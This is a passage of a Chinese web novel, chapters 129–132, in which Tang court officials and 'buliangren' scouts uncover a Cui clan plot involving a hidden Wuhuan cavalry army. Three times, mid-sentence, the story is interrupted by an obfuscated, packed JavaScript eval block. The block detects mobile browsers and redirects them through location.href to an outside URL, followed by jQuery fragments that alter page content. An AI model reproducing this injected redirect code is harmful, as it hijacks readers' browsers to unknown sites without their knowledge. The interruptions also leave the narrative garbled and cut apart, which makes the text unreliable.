“林大人……”孙伏伽一脸的疲惫与无奈,身上甚至还带着一股淡淡的血腥味,“都招了。从各地产业的账本,到收买官员的名单,吐了个底朝天。可唯独关于‘祖荫’和北境要塞的事,这些人一问三不知。看他们的样子,不像是在硬扛。这个秘密,恐怕只有崔文海那个老东西才知道。”
线索,似乎又断了。
就在偏殿中的气氛再次陷入沉寂时,帐帘被猛地掀开。
一名金吾卫斥候连滚带爬地冲了进来,“扑通”一声单膝跪地,却因为力竭,身体晃了晃,差点栽倒。
“报!北境密报!”“讲!”斥候从怀中掏出一个蜡丸,捏碎后取出一张小小的纸条。“我们在靠近其中一座废弃要塞时,发现了踪迹!”
“不是中原人,也不是突厥人。从他们遗留的马蹄铁和箭矢样式看……像是……像是已经消失了上百年的,乌桓骑兵!”
第129章:你有乌桓兵,我有不良人!
甘露殿偏殿内。
“乌桓骑兵?”
兵部尚书李靖的声音显得略微干涩沙哑。
这位一生戎马,见惯了尸山血海的老将,此刻脸上却写满了荒谬。
“林大人,这不可能!乌桓部族,自前朝曹操于白狼山一战后,主力尽丧,早已分崩离析,融入各族。百年来,草原上连成百人的乌桓聚落都难寻踪迹,何谈成建制的骑兵!”
他快步走到巨大的堪舆图前,手指在北境那片广袤的黄沙之地上划过,语气愈发急促:“一支军队的存续,需要人、马、粮草、兵甲!数千骑兵百年蛰伏,吃什么?喝什么?他们的战马从何而来?每日消耗的草料是个天文数字,如何在边境线上隐藏得毫无踪迹?这不合常理!”
李靖的话,像一块巨石投入死水,问出了在场所有人的心声。
“没什么不合常理的。”
林浩平静地走到堪舆图的另一侧,手指点在了博陵崔氏的祖籍位置,然后缓缓向北移动,最终停留在李靖手指划过的那片区域。
“崔氏,本就起于北地。他们经营百年,根系早已盘根错节,渗透到了我们所有人都看不见的阴暗角落。”
“所谓的‘祖荫’,根本不是什么虚无缥缈的庇佑。而是他们用上百年的时间,用无数的金钱和血脉,在所有人都遗忘的角落里,秘密豢养的一支鬼兵!”
“一支只听从崔氏血脉号令,随时可以从北境撕开一道口子,直逼大唐腹地的……乌桓骑兵!”
这番话,让殿内所有人都感到一股寒气顺着脊梁骨向上爬。
崔家如此,那其他氏族呢?
这盘棋,世家布了数代人,大到已经超出了所有人的想象。
“锵——!”
一声清越的金属长鸣。
一直端坐不动的李世民,不知何时已经站起,走到了御案旁,抽出了那柄象征着无上皇权的七星龙渊剑。
“好一个崔家,好一个百年世家!”
“朕在前方为大唐开疆拓土,浴血奋战,他们却在朕的背后,磨好了刀,养好了狼!”
“这是要等朕和突厥拼个两败俱伤,他们好从龙兴之地起兵,出来坐收渔翁之利啊!”
李世民一步步走回堪舆图前,手中的长剑猛地刺出,剑尖精准地钉在了博陵郡的位置上,剑柄嗡嗡作响。
“陛下息怒!”房玄龄、杜如晦等人连忙躬身行礼。
“息怒?”李世民转身,剑锋直指殿内众臣,“朕现在恨不得现在就提兵踏平河北道,将那些所谓的世家大族,连根拔起,一个不留!”
“陛下,万万不可!”杜如晦急忙出言劝阻,他神色是少有的郑重,“敌暗我明,此时大军异动,只会打草惊蛇。况且,北境那支乌桓骑兵的底细、数量、战力我们一无所知,贸然行事,恐怕会中了他们的圈套。”
程咬金却是个火爆脾气,他一把扯下头盔,露出锃亮的光头,瓮声瓮气地吼道:“怕个鸟!管他什么鬼兵,给俺老程三千玄甲军,直接冲过去,把他们连人带马都碾成肉泥!”
“那你们说,该怎么办?”李世民的视线扫过众臣,“就这么干等着,等他们把刀架在朕的脖子上吗?!”
殿内又一次陷入了死寂。
所有人都明白,这是一个死局。
打,不知道敌人具体在哪,不知道对方的底牌。
不打,就如同自己胸中横梗一柄利刃,让人寝食难安。
“陛下。”
林浩上前一步,“大军开进,目标太大。既然他们是藏在阴沟里的老鼠,那我们就派几只最会抓老鼠的猫,钻进他们的老鼠洞里去,看个究竟。”
程咬金眼睛一亮,一拍大腿:“嘿!这法子俺喜欢!直接摸到他们眼皮子底下去!够劲!”
李世民的目光重新落回林浩身上:“你想怎么做?”
“臣请陛下授权,调动金吾卫中一支最精锐的小队,化装成行商,秘密潜入北境。查清那几座废弃要塞里,到底藏了多少人,多少兵器,他们的统帅是谁,目的,究竟是什么!”
“朕,要活口,要真相!”李世民的回答,没有半分犹豫。
他走到林浩面前,从腰间解下一块令牌,塞进了他的手里。
令牌通体玄黑,入手沉重,上面用金线刻着两个古朴的篆字——不良人。
“金吾卫‘不良人’,大唐最锋利的暗刃。从现在起,他们归你调遣。”
“记住,朕不问过程,只要结果!”
“臣,遵旨!”
林浩紧紧握住那块令牌。
……
子时,长安城,一处不起眼的民宅后院。
李君羡看着面前的林浩,以及他放在石桌上的那块玄黑令牌,神情肃穆。
“大人,您的意思是……真的是乌桓人?”
“对。”林浩点头,他展开一张更为精细的北境地图,上面用朱笔圈出了三个点,“一支消失了上百年的幽灵骑兵,现在成了悬在大唐头顶的刀。而你们的任务,就是去找到那个握刀的人。”
他指着地图上的三个红圈:“这是斥候传回来的,狼烟燃起的三座要塞。它们互为犄角,呈品字形排列。你们的目标,就是中间这座,代号‘风眼’。”
“那片戈壁,当地人叫‘**地’。白天能把人活活烤熟,晚上能把人冻成冰坨。你们最大的敌人,可能不是乌桓人,而是风和沙子。”林浩看着李君羡,“此行,凶险异常。”
李君羡咧嘴一笑,露出满口白牙,笑容里带着一股悍不畏死的劲儿。
“怕?我们不良人,干的就是从阎王爷手里抢食的活儿。要是怕,早就回家抱孩子了。”
“去挑人吧。”林浩拍了拍他的肩膀,“要最好的。”
“诺!”
半个时辰后,十余骑快马,马蹄包裹着厚布,趁着夜色,悄无声息地滑出了长安城,汇入通往北方的官道,很快便消失在茫茫夜色之中。
……
七日后,北境,风蚀戈壁。
黄沙漫天,狂风呼啸如鬼哭。
一支由十几人组成的商队,艰难地在沙丘间跋涉。
“头儿,这鬼天气!沙子都快把牙给硌碎了!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409337|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一名伪装成伙计的不良人,吐了一口带着沙子的唾沫,瓮声瓮气地抱怨。
李君羡拉下面罩,眯着眼看了看天色,声音被风吹得有些散乱:“都打起精神!这沙暴来得正好,是天然的掩护。穿过前面那片风蚀地,就到‘风眼’的范围了!”
队伍在沙暴中艰难穿行,每个人都像个土人,只有露出的眼睛,依旧锐利。
终于,在风力渐小的傍晚,他们抵达了一处背风的巨大岩石后。
李君羡打了个手势,一名身材瘦小,代号“地鼠”的不良人立刻上前。他从怀里掏出一个罗盘状的物件,又取出一根细长的中空铜管,小心翼翼地插入沙地之中,随即耳朵紧紧贴在铜管上,闭上了眼睛。
周围死一般寂静,只有风声。
片刻后,“地鼠”睁开眼,脸色有些发白。
“头儿,有发现。”
“说。”
“正前方三里,地下有规律的震动,是马蹄声,数量……至少三千,只多不少!”
三千!
这个数字让所有人的心都沉了下去。
这比他们预想中最坏的情况,还要多出一倍!
“能再靠近点吗?”李君羡压低声音。
“地鼠”摇了摇头:“不行,他们的巡逻范围很大,而且有暗哨,用的还是最古老的那种驯养沙狐的法子,对活物的气息非常敏感。再往前,就是送死。”
李君羡抬头,看向远处那座在风沙中若隐若现的古老要塞轮廓。
他收回视线,对身边另一名代号“夜枭”的斥候道:“你上。”
“夜枭”点点头,从背上解下一个用油布包裹得严严实实的小巧包裹。
打开后,里面竟是一架由特殊木材和皮革制成的,可以折叠的……巨大蝠翼。
这是少府监和皇家科学院捣鼓出来的最新玩意儿,还没在军中列装,代号“飞鸢”。
借着夜色和风势,“夜枭”背着“飞鸢”,如同鬼魅般,从高耸的岩石上一跃而下,巨大的蝠翼无声展开,悄无声息地滑向那座死寂的要塞。
时间,一分一秒流逝。
李君羡和所有队员趴在沙丘后,一动不动。
就在焦虑快要吞噬所有人时,远处天空,传来一声几乎被风声掩盖的轻微鸟鸣。
是“夜枭”的信号!
他回来了!
一道黑影从远处跌跌撞撞地奔回,最后几步连滚带爬,正是“夜枭”。
“水……”他扯下面罩,嘴唇干裂,声音嘶哑。
他灌了几大口水,剧烈地呛咳起来,脸上是无法掩饰的骇然。
“头儿……里面……”
“冷静点!说清楚!”李君羡按住他抖动的肩膀。
“夜枭”喘着粗气,指着要塞的方向,声音发颤。
“全是骑兵!装备精良,纪律森严!数量……至少五千!”
“而且……”
“我在要塞中央,看到了一座用白骨堆成的巨大祭坛!”
“祭坛上……站着几个人在说话……他们……”
“他们穿的,是咱们大唐的官服!”
第130章:崔家**?不良人,冲锋!
“大唐官服?”
李君羡一把抓住“夜枭”的胳膊,力道之大,几乎要将他的骨头捏碎。
“你看清楚了?”
“夜枭”的脸色惨白,不是因为疼痛,而是源于那份刻骨的惊惧。
他用力点头,声音嘶哑地补充:“错不了!绯色官袍,金鱼袋!至少是三品大员的制式!就在那祭坛上,跟一个穿着狼皮的乌桓首领说话!”
周围的不良人,每一个都是从尸山血海里爬出来的狠角色,可听到这话,无不感到一阵寒气从脚底板直冲天灵盖。
三品大员!
能穿上这身衣服的,在大唐朝堂上,都是跺一跺脚能让一方官场震三震的人物。
这样的人,怎么会出现在北境的废弃要塞里,跟一支消失了百年的乌桓鬼兵,站在用人骨堆成的祭坛上?
“头儿,怎么办?”一名队员压低了声音,手已经按在了刀柄上。
李君羡松开“夜枭”,深吸了一口混着沙砾的冷气,强迫自己冷静下来。
他看向“地鼠”。
“地鼠”立刻会意,再次将那根中空的铜管插入沙地,耳朵贴在上面,闭目倾听。
这一次,他听了很久。
当他抬起头时,脸上多了一份凝重。
“头儿,要塞内部的巡逻路线有变化。他们加强了东侧的防御,但西北角,有一段坍塌的旧墙,那里的震动最弱,似乎是个防御死角。”
“能摸过去吗?”
“地鼠”咬了咬牙:“可以一试。但那段路,风沙最大,而且紧邻着他们的马厩,味道很重,我们的气味很容易被战马察觉。”
“够了。”
李君“羡”的决断没有丝毫拖泥带水。
“夜枭,你留下接应。其余人,跟我来。我倒要亲眼看看,是何方神圣,穿着我大唐的官袍,行此禽兽之举!”
一行人借着愈发昏暗的天色与风沙的掩护,如几道贴地的影子,悄无声息地向着要塞的西北角潜行而去。
越是靠近,空气中那股由马粪、劣质酒和皮革混合而成的腥膻味就越是浓烈,熏得人几欲作呕。
他们在一处沙丘后停下,前方,就是“地鼠”所说的那段塌墙。
果然,残破的墙体形成了一个天然的豁口,几个乌桓哨兵懒洋洋地靠在墙边,似乎完全没把这个方向的防御当回事。
李君羡做了几个简单的手势。
队伍里,两名最擅长潜杀的斥候无声地摸了出去。
他们没有带刀,手里只各攥着一根细长的牛筋绳。
风沙成了他们最好的同伙。
当那两名乌桓哨兵察觉到异常时,已经晚了。
牛筋绳从背后猛地套住了他们的脖子,只发出一声短促的闷哼,便被拖入了黑暗之中,再无声息。
李君羡带着人,如狸猫般悄然翻过豁口。
要塞内部的景象,让所有人都屏住了呼吸。
这里,根本不是什么废弃的堡垒,而是一座运转精密的战争机器。
一队队乌桓骑兵,身着老旧却保养得当的皮甲,手持长弓弯刀,在校场上操练着一种奇异而高效的骑射阵型。
他们的动作整齐划一,配合默契,每一次转向和齐射,都带着一股令人胆寒的杀气。
这绝非乌合之众!
李君羡的目光越过校场,投向要塞中央那座高耸的白骨祭坛。
祭坛之上,篝火熊熊,将几个人的影子拉得老长。
其中一人,果然身着绯色官袍,在寒风中衣袂飘飘,与周围野蛮、原始的环境显得格格不入。
他身边,站着一个身材魁梧如熊罴的乌桓人,那人头戴狼头帽,身披厚重的狼皮大氅,显然是这支军队的首领。
风声,将他们的对话断断续续地送了过来。
“……大唐的皇帝,已经上钩了……他的目光,全都被博陵吸引……”那身穿官袍的人声音尖细,带着一种病态的兴奋。
“只要你们的‘天狼’,能撕开雁门关的口子……我保证,整个河北道,都会成为你们乌桓人新的牧场!”
狼皮首领发出一阵低沉的笑声,声如闷雷。
“崔大人放心。我乌桓勇士蛰伏百年,等待的就是今天!我们不要牧场,我们要拿回头颅,重建王庭!李氏的长安,必须用血来洗刷我们祖先的耻辱!”
“崔大人”!
李君羡的拳头捏得咯咯作响。
果然是崔家的人!
就在这时,那崔姓官员从袖中取出一卷羊皮地图和一份帛书,递给了狼皮首领。
“这是大唐北境最新的兵力布防图,还有……下一批粮草和铁器的交接地点和暗号。有了这些,你们的勇士,将所向披靡!”
狼皮首领接过东西,高高举起,用一种古老的乌桓语对着下方的骑兵高声呼喊。
“长生天在上!白骨为盟!”
“血债血偿!”
下方数千骑兵同时举起手中的弯刀,用刀柄敲击着胸甲,发出山呼海啸般的回应。
“血债血偿!血债血偿!”
那股疯狂的、压抑了百年的复仇欲望,汇聚成一股滔天的杀意,几乎要将整个夜空撕裂。
李君羡和他的队员们,只觉得遍体生寒。
这不是谋反。
这是引狼**,是灭国之祸!
崔家,竟是要用整个大唐的北境,亿万百姓的性命,来换取他们所谓的“世家底蕴”!
仪式结束,那狼皮首领将地图和帛书郑重地交给身边的一名亲卫。
那亲卫翻身上马,带着一小队骑兵,朝着要塞深处的一条通道驰去。
“跟上!”
李君羡当机立断。
那份布防图和物资清单,是铁证!必须拿到手!
他们悄无声息地跟在那队骑兵身后,穿过几条阴暗的甬道。
最终,那队骑兵在一处独立的石屋前停下。
亲卫队长将东西交给守卫,转身便要离开。
就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413259|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是现在!
李君羡对着身边的队员打了个手势。
黑暗中,几支淬了麻药的短矢,无声无息地射出。
那几名转身的骑兵,连哼都没哼一声,便栽倒在地。
石屋门口的守卫察觉不对,刚要张嘴呼喊。
李君羡的身影已经如鬼魅般贴了上去,一手捂住他的嘴,另一只手中的短刃,精准地从他喉间划过。
整个过程,快如电光石火,没有发出一丝多余的声响。
“地鼠”上前,用特制的工具,三两下便撬开了石屋的门锁。
屋内,那份布防图和物资清单,就静静地躺在桌上。
李君羡一把抓起,展开帛书,借着门外透进的微光草草一瞥。
上面用乌桓文和汉字写着密密麻麻的条目,从粮草、药材,到精铁、马具,数量之庞大,足以支撑一支上万人的大军发动一场持续数月的战争!
他将东西死死揣入怀中,每一个字,都像一根烧红的钢针,扎在他的心上。
“撤!”
他压低声音,下达了命令。
然而,就在他们即将原路退回豁口时,一阵急促的号角声,猛地在要塞上空响起!
“呜——呜——”
被发现了!
校场上,原本正在休息的乌桓骑兵瞬间动了起来,无数火把被点亮,将整个要塞照如白昼。
“头儿!我们被包围了!”
“地鼠”的声音里带着一丝绝望。
四面八方,都是乌桓骑兵的呼喝声和杂乱的脚步声。
他们就像一群闯入了狼窝的羊,已经没有了退路。
李君羡的脸上,却不见丝毫慌乱。
他将怀里的布防图和物资清单,塞进了队伍里一个最年轻,也是身手最敏捷的斥候怀里。
“猴子!”
那名叫“猴子”的年轻斥候一愣。
“头儿?”
“你听着。”李君羡的声音沉稳得可怕,“这份东西,比我们所有人的命都重要。待会儿,我们会从正面冲出去,吸引他们的主力。”
他指着不远处一处高耸的箭楼。
“你,从那里想办法出去。用上你所有的本事,跑,一直往南跑!死,也要把这东西送到林大人手上!”
“头儿!我不走!”猴子的眼眶红了。
“这是命令!”
李君羡一巴掌拍在他的后脑勺上,随即转向其他人,咧嘴一笑,露出一口白牙。
“弟兄们,怕吗?”
“怕个鸟!”
“能跟这群吃里扒外的**的,还有这些乌桓杂碎干一场,值了!”
“头儿,下辈子,还跟你干!”
李君羡抽出横刀,刀锋在火光下反射出森然的光。
他最后看了一眼“猴子”,重重地点了点头。
“动手!”
下一刻,李君羡带着剩下的人,发出一声震天的怒吼,从阴影中猛地冲出,如一柄尖刀,直直地插向了包围圈最密集的方向。
第131章:火烧连营!不良人,没有孬种!
“杀!”
随着一声怒吼,李君羡和他手下仅剩的九名不良人,从最黑暗的角落里悍然刺出,目标直指火光最盛的白骨祭坛。
这突如其来、近乎**的冲锋,让正在合围的乌桓骑兵都为之一愣。
他们见过不怕死的,却没见过这么主动找死的。
“拦住他们!”
祭坛上,那个身穿绯色官袍的崔氏官员发出一声尖叫,声音里满是惊怒。
他没想到,这几只已经落入陷阱的老鼠,非但不逃,反而敢朝自己冲来。
狼皮首领的脸上也闪过一抹意外,随即化为残忍的狞笑。
他拔出腰间那柄镶嵌着狼牙的弯刀,指向李君羡的方向,用乌桓语下达了命令。
“碾碎他们!”
最外围的乌桓骑兵立刻调转方向,形成一道密不透风的人墙,朝着李君羡十人挤压过来。
刀光闪烁,人影交错。
不良人没有结阵,他们每个人都各自为战,却又配合得天衣无缝。
李君羡的横刀大开大合,每一刀都奔着敌人的要害而去,鲜血飞溅中,他硬生生在人潮里凿开一条血路。
他身后的弟兄,则替他挡住了来自侧翼和背后的所有攻击。
一名不良人被三杆长矛同时刺穿了胸膛,他却在临死前死死抱住一名乌桓百夫长,用牙齿咬断了对方的喉管。
“猴子!快走!”
李君羡的声音在震天的喊杀声中,清晰地传到了那年轻斥候的耳中。
名叫“猴子”的斥候浑身一颤,眼眶瞬间通红。
他看着头儿和弟兄们用血肉之躯为他吸引着所有火力,猛地转身,用尽全身的力气,朝着“地鼠”指出的那段西北塌墙冲去。
祭坛之上,狼皮首领注意到了那个脱离战场的瘦小身影。
他眉头一皱,对着身边几名亲卫低语了几句。
随即,四名身形矫健、背负短弓的乌桓骑兵翻身上马,没有发出任何声音,悄然脱离大队,如四道追魂的影子,朝着猴子消失的方向追去。
那是他麾下最精锐的“逐风者”,是草原上最顶尖的猎手。
在他看来,那只逃跑的小老鼠,活不过今晚。
他的注意力,重新回到了李君羡身上。
这伙唐军的悍勇,超出了他的预料。
区区数人,竟在他的重重包围下冲杀了近百步,留下一地尸体。
虽然这些人已经个个带伤,力气也快耗尽,但这种疯狂的劲头,让他感到了一丝不安。
“崔大人,看来你们大唐的禁卫,也不全是些软脚虾。”
狼皮首领的语气里带着几分嘲讽。
那崔姓官员脸色阴沉:“一群将死的疯狗罢了。邑落大人,速战速决,不要再给他们任何机会,以免夜长梦多。”
狼皮首领点了点头,举起了手中的弯刀。
包围圈,再一次收紧。
李君羡一刀劈翻一名冲到近前的乌桓骑兵,胸口却也被另一柄弯刀划开一道深可见骨的伤口。
他身边的弟兄,只剩下了三人,每个人身上都挂了彩。
他们被逼得且战且退,最后,后背抵在了一处巨大的石质库房墙壁上,再无退路。
“头儿!”一名不良人吐出一口血沫,咧嘴一笑,“这下真成瓮中之鳖了。”
李君羡用刀撑着地,剧烈地喘息着,目光却扫过周围。
空气中,一股刺鼻的火油味和干草的清香混合在一起。
这是......
“哈哈……哈哈哈哈!”
李君羡看向步步紧逼的乌桓骑兵,突然放声大笑,“弟兄们,咱们不良人,干的是行走在阴影里的活,死,也得死得敞亮些!”
“来啊!杂碎们!爷爷我给你们准备了一份大礼!”
话音未落,他猛地转身,用尽最后的气力,一脚踹开了身后库房那扇厚重的木门。
门内,堆积如山的干草和一排排巨大的火油桶,在火把的光芒下,散发着危险的气息。
“不好!他要放火!”崔姓官员尖叫起来。
狼皮首领也脸色大变,怒吼道:“放箭!射死他们!”
箭雨铺天盖地而来。
但已经晚了。
李君羡和剩下的三名不良人冲进库房,他反手将门边的火把掷入最近的草堆。
“轰——!”
干透了的草料瞬间被点燃,火舌冲天而起。
李君羡回过头,看着门外那些惊恐的脸,露出了一个灿烂的笑容。
“不良人,没有孬种!”
他抽出腰间的横刀,狠狠劈向了身旁一个巨大的火油桶。
下一刻,一道比白昼更耀眼的光芒,吞噬了整个库房。
剧烈的**声,震得整座要塞都在颤抖。
恐怖的气浪夹杂着火焰,从库房门口疯狂喷涌而出,将冲在最前面的上百名乌桓精锐瞬间掀飞,点成了火人。
惨叫声,哀嚎声,响彻夜空。
大火迅速蔓延,将周围的营帐和马厩一同引燃,火烧连营。
整座“风眼”要塞的西北角,化作了一片火海。
……
……
狂风中,正在戈壁上亡命飞奔的“猴子”,猛地停下了脚步。
他回过头,只看到要塞上空,一团巨大的火球冲天而起,瞬间将半个夜空照得亮如白昼。
紧接着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413861|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才是震耳欲聋的**声,那声音隔着数里,依旧震得他耳膜嗡嗡作响。
“头儿……”
“猴子”跪在沙地上,泪水混合着沙土,糊满了他的脸。
他知道,李君羡和他的弟兄们,回不来了。
滔天的悲恸化作了求生的力量,他爬起来,不顾一切地向着南方狂奔。
风沙是他的敌人,也是他的朋友。
他在这片被称作“**地”的戈壁上,与身后那几名“逐风者”展开了一场生与死的追逐。
他凭借着对地形的熟悉和远超常人的耐力,一次次甩开追兵,又一次次被对方凭借猎犬般的嗅觉重新咬住。
两天后,当沙暴渐歇,他的体力也终于耗尽。
他能感觉到自己的意识正在模糊,身体里的水分已经被彻底榨干。
他知道,自己跑不动了。
在倒下的前一刻,他用尽最后的力气,从怀中掏出那个用蜡丸封好的帛书,没有丝毫犹豫,将其整个吞入了腹中。
做完这一切,他的身体晃了晃,一头栽倒在滚烫的黄沙里,不省人事。
就在他倒下的瞬间,远处的天际线,出现了一队小小的黑点。
那是一队正在巡边的唐军斥候。
……
“风眼”要塞。
大火烧了整整一夜,那座存放火油和草料的库房,连同周围数百名最精锐的乌桓骑兵,都化作了一片焦土。
狼皮首领站在废墟前,脸色阴沉得能滴出水来。
一名“逐风者”的头领单膝跪地,声音里带着羞愧:“邑落大人,那人……跟丢了。不过,他绝对跑不出‘**地’,不是渴死,就是被狼吃了。”
“废物!”狼皮首领一脚将他踹翻。
那名崔姓官员走了过来,用袖子掩着口鼻,厌恶地看着满地焦尸:“首领,虽然损失了些人手,但总算清静了。接下来,我们只需按计划行事……”
“计划有变。”狼皮首领打断了他,声音里透着一股压抑不住的暴怒。
“什么?”崔姓官员一愣。
狼皮首领猛地转身,死死盯着他:“那个逃走的人,身上带着我们的布防图!你敢保证,他不会被唐军的巡边斥候发现吗?”
“这……”
“一旦李世民知道了我们的存在,知道了我们的兵力,他会怎么做?他会立刻调集河北道、河东道所有的大军,封锁北境!到那时,我们就是瓮中之鳖!”
狼皮首领走到那座白骨祭坛前,一把拔起插在上面的狼头大旗。
“不能再等了。传我将令!全军集结,即刻南下!在唐军反应过来之前,给我撕开雁门关!”
第132章:烽火失联,五千鬼兵已过雁门关
风沙终于有了片刻的停歇,露出被炙烤得发烫的天空。
一支十余人的唐军斥候小队,正牵着骆驼,有气无力地行走在“死人地”的边缘。
“头儿,水囊快见底了,再走下去,骆驼都得撂挑子。”
一个年轻的斥候年轻斥候抹了把脸上的沙土,干裂的嘴唇咧开一道血口子。
被称作“头儿”的老斥候齐三,抬起被风沙磨砺得如同老树皮般的手,遮在眼前,眯着眼睛扫视着一望无际的沙海。
“闭嘴,省点口水。前面那个沙坳能背风,到那儿再歇。”
就在这时,他眼角余光瞥见远处一个不起眼的小沙丘下,似乎有什么东西。
不是石头,也不是枯死的胡杨。
“都停下!”齐三低喝一声,抽出腰间的横刀,打了个手势。
两名斥候立刻散开,警惕地向那个方向摸了过去。
片刻后,其中一人直起身子,大声喊道:“头儿!是个人!还他娘的活着!”
众人立刻围了过去。
眼前的景象,让这群见惯了生死的边军汉子都不由得倒吸了一口凉气。
黄沙几乎将那人整个埋住,只露出一颗脑袋和半截身子。
身上的衣服早就烂成了布条,混着干涸的血迹和沙土,凝固在身上。
露出来的皮肤,没有一处是完好的,干裂得如同大旱的河床,嘴唇乌黑外翻。
若不是胸口还有一丝微弱到几乎无法察觉的起伏,所有人都以为这是一具被风干了的尸体。
齐三蹲下身,伸出粗糙的手指,小心翼翼地拨开那人脸上的沙土。
“叮——”
一声轻响,一枚黑乎乎的东西从那人破烂的衣襟里滑落,掉在沙子上。
齐三捡起来,用袖子擦去上面的沙土。
那是一块玄铁打制的令牌,入手沉重,上面用阴文刻着两个字——不良。
“金吾卫,不良人?”
齐三的手抖了一下。
这两个字,在边军中就是一个传说。
他们是皇帝最锋利的刀,最隐秘的眼,执行的都是九死一生的任务。
能让一个不良人落到这步田地,他究竟碰上了什么鬼东西?
“水……水……”
那人似乎被惊动了,喉咙里发出细微的声音。
“快!拿水来!”
一名斥候连忙解下水囊,小心地往他嘴里滴了几滴。
那人,正是“猴子”。
几滴救命水滑入喉咙,他猛地睁开了眼睛,一把抓住齐三的胳膊。
他想说话,可喉咙被灼伤,只能发出“嗬嗬”的声响。
他急了,另一只手抬起来,用尽全身的力气,一下一下地戳着自己的腹部。
“他娘的,你肚子里有东西?”
齐三看懂了,心里咯噔一下。
“猴子”拼命地点头。
齐三不再犹豫,当机立断:“把他弄到骆驼上!所有人上马,全速回代州!快!”
......
就在“猴子”被发现的同一时刻,雁门郡以北,三号烽火台。
十几个守台的唐军士卒围着一堆篝火,正喝着劣质的马奶酒,骂骂咧咧地抱怨着这鬼地方连个母狼都见不着。
“等换防了,老子一定要去代州城里最好的馆子,找两个婆娘好好乐呵乐呵……”
一个老兵的话还没说完,他的声音就突兀地中断了。
黑暗中,数十支淬了毒的箭矢精准地覆盖了小小的火堆旁。
“噗!噗!噗!”
一阵血肉被洞穿的声音之后,老兵的胸口插着三支黑色的羽箭。
他瞪大了眼睛,难以置信地看着从黑暗中潮水般涌出的无数人影,至死都没明白,敌人是从哪里冒出来的。
一名乌桓百夫长,一脚踹翻燃烧的篝火,将旁边准备点燃狼烟的火把狠狠踩进土里。
他拔出插在老兵胸口的箭,用舌头舔了舔刀锋上的血:“信号!”
一支特制的响箭刺入夜空,发出一声低沉的呼啸。
片刻之后,大唐北方漫长的防线上,一座又一座的烽火台,在同一时间,被用同样血腥残酷的方式,悄无声息地拔除。
狼皮首领邑落,立马于高坡之上,看着南边那片再无警讯的夜空,脸上露出了残忍的笑容。
他高高举起手中的狼牙弯刀,刀锋直指代州的方向。
“勇士们!崔大人给的地图没错,唐军的主力都在东面!现在,我们和代州之间,再无阻碍!”
“冲锋!”
“用汉人的血,来祭奠我们先祖的白骨王庭!”
“乌拉——!”
五千蛰伏百年的乌桓骑兵,化作一股奔腾的黑色钢铁洪流,绕开了所有重兵把守的关隘,沿着一条防御最薄弱的隐秘谷道,直插大唐柔软的腹地。
......
代州都督府。
都督杜兴一脚踹翻了面前的案几,满桌的文书卷宗撒了一地。
“废物!一群废物!三号和五号烽火台,整整一个时辰没有按例回应,你们现在才来告诉我?”
“大人息怒,已经派人去查了,但……恐怕是凶多吉少。”
一名校尉忧心忡忡地汇报,“最近草原上不安分,怕不是哪股不开眼的流寇想来打秋风。”
流寇?
杜兴在大堂里来回踱步,身上的甲胄发出烦躁的摩擦声。
哪股流寇有本事悄无声息地同时端掉两座烽火台,还让他们连点燃狼烟的机会都没有?
就在这时,一名亲兵跌跌撞撞地跑了进来:
“大……大人!城外巡边的齐三回来了!他们……他们带回来一个快死的金吾卫!”
杜兴的脚步猛地顿住。
烽火台失联。
不良人垂死。
两个毫无关联的信息,在他脑中轰然相撞。
这绝不是什么流寇打秋风,而是天大的祸事!
“快!带进来!把全城最好的军医都给老子叫过来!”
当“猴子”被七手八脚地抬进大堂时,杜兴的心沉到了谷底。
“军医!人怎么样!”
随队军医满头大汗,刚刚给“猴子”灌下一碗参汤吊命,此刻满脸的无奈。
“大人,此人严重脱水,五脏六腑几近衰竭,又在戈壁上颠簸了一路,现在高烧不退,神志不清……恐怕……恐怕撑不过今晚了。”
担架上的“猴子”似乎听到了动静,开始痛苦地挣扎起来,嘴里发出意义不明的呓语,那只干枯的手,依旧死死地指着自己的肚子。
“大人!他肚子里有东西!”齐三在一旁急得满头大汗,“他就是这么比划的!”
军医一愣,连忙上前按了按“猴子”的腹部,隔着一层皮肉,果然摸到了一个鸽子蛋大小的硬物。
他脸色大变:“是蜡丸!他把军情密报吞下去了!”
杜兴的脸色瞬间凝重起来:“催吐!用药!不管用什么法子,立刻给我把东西弄出来!”
“大人,不可啊!”军医急道,“他这身子骨,根本经不起这种虎狼之药,会要了他的命的!”
“他的命重要,还是整个代州,整个北境的百姓重要!”
杜兴一把揪住军医的衣领,几乎是吼出来的,“执行命令!”
一碗碗气味熏天的催吐汤药和烈性泻药,被强行撬开嘴,灌进了“猴子”的喉咙。
“猴子”本就油尽灯枯的身体,在药物的剧烈刺激下,疯狂地抽搐、痉挛。
